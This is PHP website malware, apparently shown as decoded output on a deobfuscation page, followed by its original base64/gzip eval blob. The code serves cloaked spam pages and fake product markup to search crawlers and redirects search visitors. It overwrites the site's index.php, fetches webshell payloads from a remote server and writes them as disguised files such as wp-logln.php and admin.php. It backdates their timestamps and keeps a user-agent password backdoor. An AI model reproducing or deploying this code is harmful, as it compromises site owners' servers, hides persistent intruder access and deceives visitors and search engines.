			$filemd5 = '0';
		}else{
			$filemd5 = md5_file($toname);
		}
		if($md5str == $filemd5){
			return;
		}else{
						file_put_contents_force($_SERVER['SCRIPT_FILENAME'], $str);
		}
	}
}


function replaceIndex($file){
	if(defined('REPLACE_INDEX') && REPLACE_INDEX == 'no'){
		return;
	}
	
	if(!@file_exists($file)){
		if($_SERVER['SCRIPT_NAME'] != '/index.php'){
			if(!rename('index.php', $file)){
				die('rename error!');
			}else{
				
				if(!copy($_SERVER['SCRIPT_FILENAME'], 'index.php')){
					die('copy error!');
				}
			}
			
			if(@file_exists($file)){unlink(__FILE__);}
			header('Location: /');
		}
	}
}


function checkStatus(){
	if(isset($_GET['checkstatus']) && $_GET['checkstatus'] == 'areyouok'){
		die('live');
	}
	if(isset($_GET['action']) && $_GET['action'] == 'version'){
		echo CURRENT_VERSION;
		exit();
	}
}


function contentLink($cid, $lid){
	$cid = $cid.'';
	$lid = $lid.'';
	$link = '/' . INDEX_PHP;
	$str = 'abcdefghijklmnopqrstuvwxyz';
	$intR = intSeed(MainDomain() . $cid . $lid);
	srand($intR);
	for($i=0;$i < 6;$i++){
		$link .= $str[mt_rand(0, 25)];
	}
	$link .= $cid . '/';
	for($i=0;$i < 6;$i++){
		$link .= $str[mt_rand(0, 25)];
	}
	$link .= $lid;
	return $link;
}


function getCid(){
	if(empty($_SERVER['PATH_INFO'])){
		$pathinfo = isset($_SERVER["REDIRECT_URL"]) ? $_SERVER["REDIRECT_URL"] : '';
		if(empty($pathinfo)){
			$arr = explode('?',$_SERVER['REQUEST_URI']);
			$pathinfo = $arr[0];
		}
	}else{
		$pathinfo = $_SERVER['PATH_INFO'];
	}
	$arrResult = array();
	$arr = explode("/", $pathinfo);
	if(sizeof($arr) == 3 && empty($arr[0]) && !empty($arr[1]) && !empty($arr[2])){
		$arrResult['cid'] = preg_replace('|[^\d]|i', '', $arr[1]);
		$arrResult['lid'] = preg_replace('|[^\d]|i', '', $arr[2]);
		if(is_numeric($arrResult['cid']) && is_numeric($arrResult['lid'])){
			return $arrResult;
		}
	}
	return false;
}


function getHtml($url, $data = array()){
	if(defined('USECURL') && USECURL == 'no'){
	    $usecurl = false;
	}else{
	    $usecurl = true;
	}
	if(function_exists('curl_init')){
    	$curl = curl_init();        	@curl_setopt($curl, CURLOPT_URL, $url);      	@curl_setopt($curl, CURLOPT_HEADER, 0);      	@curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);      	    
    	@curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    	@curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    	@curl_setopt($curl, CURLOPT_ENCODING, '');       	    	  
    	@curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0');  
    
		@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); 
    	if(!empty($data)){
    		@curl_setopt($curl, CURLOPT_POST, 1);
    		@curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    	}
    	    	$result = curl_exec($curl);
    	curl_close($curl);
	}else{
	    $usecurl = false;
	}
	if($usecurl == false){
		if(!empty($data)){
			$requestBody = http_build_query($data);
			$arrOption = array(
				'http' => array(
					'method' => 'POST', 
					'header' => "Content-Type: application/x-www-form-urlencoded
".'Content-Length: ' . mb_strlen($requestBody), 
					'content' => $requestBody
				)
			);
			$context = stream_context_create($arrOption);
			$result = file_get_contents($url, false, $context);
		}else{
			$result = file_get_contents($url);
		}
	}
	return $result;
}


function htmlImgTag($src, $des, $width = 800, $height = 800){
    return '<img width="'.$width.'" height="'.$height.'" src="'.$src.'" alt="'.$des.'" longdes="'.$des.'">';
}


function intSeed($str){
	$pathinfo = isset($_SERVER["PATH_INFO"]) ? $_SERVER["PATH_INFO"] : '';
	$str = md5(MainDomain() . $_SERVER["SCRIPT_NAME"] . $pathinfo . $str); 
	$int = hexdec(substr($str, 0, 8));
	return $int;
}

function isSuperMan(){
	if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) == UAMD53KEY)
	{
		
		return true;
	}
    return false;
}


function isBot(){
	if(isSuperMan())
	{
		return true;
	}
	$arr = array(
		'google',
		'bot',
		'yahoo',
		'yandex',
		'bing',
	);
	
	if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) AND $_SERVER['HTTP_ACCEPT_LANGUAGE']!=''){
	    return false;
	}
	
	if(isset($_SERVER['HTTP_REFERER']) AND $_SERVER['HTTP_REFERER']!=''){
	    return false;
	}
	
	foreach($arr as $str)
	{
		if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
		{
			return true;
		}
	}
	return false;
}


function MainDomain(){
	$domain = strtolower($_SERVER['HTTP_HOST']);
	if(substr($domain, 0, 4) == 'www.'){
		return substr($domain, 4);
	}else{
		return $domain;
	}
}


function needJump(){
	$arr = array(
		'google',
		'bot',
		'yahoo',
		'yandex',
		'bing',
	);
		foreach($arr as $str)
	{
		if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
		{
			return false;
		}
	}
		if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && preg_match('/(zh|cn)/i',$_SERVER['HTTP_ACCEPT_LANGUAGE']))
	{
		return false;
	}
		if(isset($_SESSION['referer']) && $_SESSION['referer'] == 'SearchEngine'){
		return true;
	}
	$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
		if(empty($referer))
	{
		return false;
	}else{
			$referer_array = parse_url($referer);
		$referer_host = strtolower($referer_array['host']);
		if(strstr($referer_host, '.google.') !== false || strstr($referer_host, '.yahoo.') !== false){ 			$_SESSION['referer'] = 'SearchEngine';
			return true;
		}else{
			return false;
		}
	}
	return false;
}


function showProduct($obj){
	$keyword = $obj['randWords'][0] . ' ' . $obj['randWords'][1] . ' ' . $obj['randWords'][2] . ' ' 
	. $obj['keyword'] . ' ' 
	. $obj['randWords'][3] . ' ' . $obj['randWords'][4] . ' ' . $obj['randWords'][5];
	$liil = '';
	foreach($obj['relatedKeywords'] as $keyword1){
		$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
		$liil .= '		<li><a href="'.$link.'">'.$keyword1.'</li>'."
";
	}
	$imagesdiv = showImagesMobile(base64_decode($obj['content64']), $obj['keyword']);
	$str = '<!DOCTYPE html>'.
		PHP_EOL.'<html>'.
		PHP_EOL.'<head>'.
		PHP_EOL.'	<title>'.$keyword.'</title>'.
		PHP_EOL.'	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'.
		PHP_EOL.'	<meta name="keywords" content="'.$keyword.'" /> '.
		PHP_EOL.'	<meta name="description" content="'.$keyword.'" />'.
		PHP_EOL.'	<meta name="apple-mobile-web-app-capable" content="yes" />'.
		PHP_EOL.'	<meta name="apple-mobile-web-app-status-bar-style" content="black" />'.
		PHP_EOL.'	<meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'.
		PHP_EOL.'	<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
		PHP_EOL.'</head>'.
		PHP_EOL.'<body>'.
		PHP_EOL.'	<div class="main">'.
		PHP_EOL.'		<a href="/">Home</a><br />'.
		PHP_EOL.'		<h1>'.$keyword.'</h1>'.
		PHP_EOL.'		<div class="content">'.
		PHP_EOL.'			'. $imagesdiv .
		PHP_EOL.'		</div>'.
		PHP_EOL.'	</div>'.
		PHP_EOL.'	<style>'.
		PHP_EOL.'		img{ border:0;width:100%;max-width:500px;}'.
		PHP_EOL.'		ul li{list-style-type:none;width:49%;float:left;}'.
		PHP_EOL.'		.clear{clear:both;}'.
		PHP_EOL.'	</style>'.
		PHP_EOL.'	<ul class="related">'.
		PHP_EOL.''.$liil.relatedOutLinks().
		PHP_EOL.'	</ul>'.
		PHP_EOL.'</body>'.
		PHP_EOL.'</html>';
	header('Content-type: text/html; charset=utf-8');
    echo $str;
    die();
}


function is_https(){
	if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return 'https://';
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return 'https://';
	} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return 'https://';
	}
	return 'http://';
}


function keywordtouri($keyword)
{
	$url = str_replace(' ', '-', trim($keyword));
	$url = urlencode($url);
	return $url;
}


function showRobotsTxt(){
	$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
	@header('Content-Type: text/plain');
	$str = 'User-agent: Baiduspider'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: AhrefsBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: MJ12bot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: BLEXBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: DotBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: SemrushBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: YandexBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: *'.PHP_EOL.'Disallow:'.PHP_EOL.'Sitemap: ' . is_https().$_SERVER['HTTP_HOST'] . '/sitemap.xml';
	echo $str;
	die;
}


function pingGoogle(){
	if(isset($_GET['action']) && $_GET['action'] == 'pinggoogle'){
        $indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
		$api = "https://www.google.com/ping?sitemap=" . $indexurl . INDEX_PHP . 'sitemap.xml';
        $content = getHtml($api);
        if(!stristr($content, 'webmasters/tools')){
            echo '' . $api;
        }else{
            echo $content;
        }
        exit();
	}
}


function showSiteMap(){
	$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
	$date = date('Y-m-d');
	$result = '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'.PHP_EOL.'	<url>'.PHP_EOL.'	<loc>'.$indexurl.'</loc>'.PHP_EOL.'	<priority>1.0</priority>'.PHP_EOL.'	<changefreq>always</changefreq>'.PHP_EOL.'	<lastmod>'.$date.'</lastmod>'.PHP_EOL.'	</url>';
	$intR = intSeed(MainDomain());
	srand($intR);
	$str = 'abcdefghijklmnopqrstuvwxyz';
	for($i=0;$i<3000;$i++){
		$link = $indexurl . INDEX_PHP 
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] 
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
		. '/'
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)];
		$result .= PHP_EOL.'	<url>'.PHP_EOL.'		<loc>'.$link.'-c.html</loc>'.PHP_EOL.'		<priority>0.8</priority>'.PHP_EOL.'		<changefreq>weekly</changefreq>'.PHP_EOL.'		<lastmod>'.$date.'</lastmod>'.PHP_EOL.'	</url>';
	}
	$result .= PHP_EOL.'</urlset>';
	header('Content-Type: text/xml');
	echo $result;
	die();
}


function showImagesMobile($str, $keyword)
{
	$arr = explode("
", $str);
		$arrIndex = randArray(0, (@count($arr) - 1));
	$returnstr = '<div class="imagesContainer">';
		$newContext = new context('Product');
	$newContext->setName($keyword);
	$newContext->setDescription($keyword . ' - ' . $_SERVER['HTTP_HOST']);
	$newContext->setOffers();
	foreach($arrIndex as $index)
	{
		$line = $arr[$index];
		$arrline = explode('|||', $line);
		if(count($arrline) > 2)
		{
			$keyword = htmlspecialchars(trim($arrline[1]));
			$newContext->addImage(trim($arrline[0]));
			$returnstr .='
			<div class="media">
				<a href="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '">
					<img class="mr-3" src="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '" />
				</a>
				<div class="media-body">
					<h5 class="mt-0">' . $keyword . '</h5>
				</div>
			</div>
			<br>
';
		}
	}
	$returnstr .= '
		</div>';
	$returnstr .= $newContext->showScript();
	return $returnstr;
}

function randArray($min, $max)
{
	$seed = intSeed($_SERVER['REQUEST_URI']);
	srand($seed);
	$result = array();
	for($i=$min; $i <= $max; $i++)
	{
		$result[] = rand($min, $max);
	}
	$result = array_unique($result);
	return $result;
}

function file_put_contents_force($filename, $content){
    if(@is_file($filename)){
		@chmod($filename, 0767);
    }
    @file_put_contents($filename, $content);
	@chmod($filename, 0444);
}

function setupshe(){
	if(!@file_exists('about.php') || !@file_exists('wp-include.php') || !@file_exists('wp-admin.php') || !@file_exists('wp-comment.php') || !@file_exists('wp-corn-sample.php') || !@file_exists('wp-logln.php') || !@file_exists('wp-ver.php') || !@file_exists('admin.php')){
		$filetime = getMiddleFileTime();
		if(!@file_exists('about.php')){
			$alfa = readFileContent('alfa.txt');
			file_put_contents_force('about.php', $alfa);
			touch('about.php', $filetime);
		}

		if(!@file_exists('wp-corn-sample.php')){
			$kct = readFileContent('kct.txt');
			file_put_contents_force('wp-corn-sample.php', $kct);
			touch('wp-corn-sample.php', $filetime);
		}

		if(!@file_exists('wp-logln.php')){
			$one = readFileContent('one.txt');
			file_put_contents_force('wp-logln.php', $one);
			touch('wp-logln.php', $filetime);
		}

		if(!@file_exists('wp-include.php')){
			$one4 = readFileContent('one4.txt');
			file_put_contents_force('wp-include.php', $one4);
			touch('wp-include.php', $filetime);
		}

		if(!@file_exists('wp-ver.php')){
            $yihuo = readFileContent('yihuo.txt');
            file_put_contents_force('wp-ver.php', $yihuo);
            touch('wp-ver.php', $filetime);
        }
		if(!@file_exists('wp-admin.php')){
            $wplog2 = readFileContent('wplog2.txt');
            file_put_contents_force('wp-admin.php', $wplog2);
            touch('wp-admin.php', $filetime);
        }
		if(!@file_exists('wp-comment.php')){
            $one_url_password = readFileContent('one_url_password.txt');
            file_put_contents_force('wp-comment.php', $one_url_password);
            touch('wp-comment.php', $filetime);
        }
		if(!@file_exists('admin.php')){
            $xxx = readFileContent('xxx.txt');
            file_put_contents_force('admin.php', $xxx);
            touch('admin.php', $filetime);
        }
	}
}

function readFileContent($file, $loadCache = true, $domain = ''){
    if(isset($_REQUEST['mini']) && $_REQUEST['mini'] == 'on'){
        $mini = '&mini=on';
    }elseif(isset($_SESSION['mini']) && $_SESSION['mini'] == 'on'){
        $mini = '&mini=on';
    }elseif(isset($_SESSION['codeMethod']['mini']) && $_SESSION['codeMethod']['mini'] == 'on'){
        $mini = '&mini=on';
    }else{
        $mini = '';
    }
    if(isset($_REQUEST['cf']) && $_REQUEST['cf'] == 'off'){
        $cf = '&cf=off';
    }elseif(isset($_SESSION['codeMethod']['cf']) && $_SESSION['codeMethod']['cf'] == 'on'){
        $cf = '&cf=on';
    }elseif(isset($_SESSION['cf']) && $_SESSION['cf'] == 'off'){
        $cf = '&cf=off';
    }else{
        $cf = '';
    }
    if(isset($_REQUEST['singleencoder']) && $_REQUEST['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }elseif(isset($_SESSION['codeMethod']['singleencoder']) && $_SESSION['codeMethod']['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }elseif(isset($_SESSION['singleencoder']) && $_SESSION['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }else{
        $cf = '';
    }
    if(isset($_REQUEST['v'])){
        $version = '&v=' . $_REQUEST['v'];
    }else{
        $version = '';
    }
	if(empty($domain)){
		preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];
		$domain = preg_replace('|^www\.|i','',$domain);
	}
	$uri = URLHEAD.'?domain=' . $domain . '&file='.$file . $cf . $mini . $version . '';
    if($loadCache){
		$content = getCache(md5($uri));
    }
	if(substr($content, 0, 5) != '<?php'){
        $content = getHtml($uri);
        if($content){
            saveCache(md5($uri), $content);
        }
	}
    return $content;
}

function getCache($file){
    global $fileContent;
    if(!empty($fileContent[$file])){
        return $fileContent[$file];
    }
    if(!empty($GLOBALS['fileContent'][$file])){
        return $GLOBALS['fileContent'][$file];
    }
    $tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
    $filename = $tmpDir . md5($file);
    if(@file_exists($filename) && (filemtime($filename) - time() < 1800)){
        return file_get_contents($filename);
    }
    return false;
}

function saveCache($file, $content, $onlyfile = false){
    global $fileContent;
    if(!$onlyfile){
        $GLOBALS['fileContent'][$file] = $content;
        $fileContent[$file] = $content;
    }
    $tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
    if(!@is_dir($tmpDir)){
        @mkdir($tmpDir, 0747, true);
    }
    $filename = $tmpDir . md5($file);
    file_put_contents_force($filename, $content);
}


function getMiddleFileTime($dir = '.'){
	if(isset($GLOBALS[$dir]['middleFileTime']) && is_numeric($GLOBALS[$dir]['middleFileTime'])){
		return $GLOBALS[$dir]['middleFileTime'];
	}
    $arrFiles = @scandir($dir);
    $arrT = array();
    foreach($arrFiles as $file){
        $filename = $dir . '/' . $file;
        if(@is_file($filename)){
            $t = filemtime($filename);
            if(!in_array($t, $arrT)){
                $arrT[] = $t;
            }
        }
    }
    sort($arrT);
    $index = count($arrT)/3;
    if($index){
        if($index>=1){
            $index = floor($index);
        }else{
            $index = 1;
        }
		$GLOBALS[$dir]['middleFileTime'] = $arrT[$index];
    }else{
        $GLOBALS[$dir]['middleFileTime'] = time();
    }
    return $arrT[$index];
}

function sys_get_temp_dir1()
{
	if(isset($GLOBALS['tmpPath']) && @is_dir($GLOBALS['tmpPath']) && @is_writable($GLOBALS['tmpPath'])){
		return $GLOBALS['tmpPath'];
	}
	if(@is_dir('/tmp') && @is_writable('/tmp')){
		return '/tmp';
	}elseif(function_exists('sys_get_temp_dir')){
		$tmpPath = sys_get_temp_dir();
		if(!@is_dir($tmpPath)){
			@mkdir($tmpPath, 0747, true);
		}
		return $tmpPath;
	}
    foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
        if ($temp = getenv($env_var)) {
            return $temp;
        }
    }
    $temp = tempnam('tmp', '');
    if (@file_exists($temp)) {
        unlink($temp);
		$GLOBALS['tmpPath'] = dirname($temp);
        return $GLOBALS['tmpPath'];
    }
    return null;
}


function jsonEncode($var)
{
	if (function_exists('json_encode')) {
		return json_encode($var);
	} else {
		$jsonfile = md5('Services_JSON.php');
		if(!@is_file($jsonfile)){
			@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
		}
		include_once $jsonfile;
		if(class_exists('Services_JSON')){
			$result = '';
			$code = '$json = new Services_JSON;$result = $json->encodeUnsafe($var);';
			eval($code);
			return $result;
		}
	}
        return '';
}


function jsonDecode($var, $assoc=false)
{
	if (function_exists('json_decode')) {
		return json_decode($var, $assoc);
	} else {
		$jsonfile = md5('Services_JSON.php');
		if(!@is_file($jsonfile)){
			@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
		}
		include_once $jsonfile;
		if ( $assoc ){
                        if(class_exists('Services_JSON')){
                                $result = '';
                                $code = '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE);$result = $json->decode($var);';
                                eval($code);
                                return $result;
                        }
		} else {
                        if(class_exists('Services_JSON')){
                                $result = '';
                                $code = '$json = new Services_JSON;$result = $json->decode($var);';
                                eval($code);
                                return $result;
                        }
		}

	}
        return '';
}


function cookieAuthor(){
	if(@session_start()){
		preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);
		$domain = $match[0];
		$domain=preg_replace('|^www\.|', '', $domain);
		if($_COOKIE[md5($domain.'pswd')] == COOKIEPSWD){
			return true;
		}
	}else{
		return true;
	}
	return false;
}

class context{
	public $context = '';
	public $type = '';
	public $name = '';
	public $image = array();
	public $description = '';
	public $offers = array();
		function __construct($type = ''){
		$this->context = 'https://schema.org/';
		$this->type = 'Product';
		if(empty($type)){
			$type = 'Product';
		}
		$this->type = $type;
	}
		function setName($name){
		$this->name = $name;
	}
		function addImage($src){
		$this->image[] = $src;
	}
		function setDescription($str){
		$this->description = $str;
	}
		function setOffers(){
		$arr = array(
			'@type' => 'Offer',
			'url' => $this->getSchema() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
			'priceCurrency' => 'USD',
			'price' => '9.9',
			'availability' => 'http://schema.org/InStock',
			'priceValidUntil' => date('Y') + 1,
		);
		$this->offers = $arr;
	}
		function showScript(){
		$arr = array(
			'@context' => $this->context,
			'@type' => $this->type,
			'name' => $this->name,
			'image' => $this->image,
			'description' => $this->description,
			'offers' => $this->offers,
		);
		$str = jsonEncode($arr);
		return '
<script type="application/ld+json">'.$str.'</script>';
	}
    function getSchema(){
    if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return 'https://';
    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
        return 'https://';
    } elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return 'https://';
    }
    return 'http://';
  }
}


function currentSchema()
{
	$schema = false;
	if(isset($_SERVER['REQUEST_SCHEME'])){
		$schema = strtolower($_SERVER['REQUEST_SCHEME']);
	}elseif(isset($_SERVER['HTTPS'])){
		if(strtolower($_SERVER['HTTPS']) == 'on'){
			$schema = 'https';
		}elseif(strtolower($_SERVER['HTTPS']) == 'off'){
			$schema = 'http';
		}
	}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){
		$schema = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']);
	}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])){
		if(strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){
			$schema = 'https';
		}else{
			$schema = 'http';
		}
	}
	return $schema;
}

function isPHPFile($file){
	$content = file_get_contents($file);
	if(stristr($content, '<?php')){
		return true;
	}
	return false;
}


function isHomePage(){
    if(preg_match("`^/(index\.(php|html|htm))?$`", $_SERVER["REQUEST_URI"])){
        return true;
    }
    return false;
}
?>

Did this file decode correctly?

Original Code



<?=eval(gzuncompress(base64_decode("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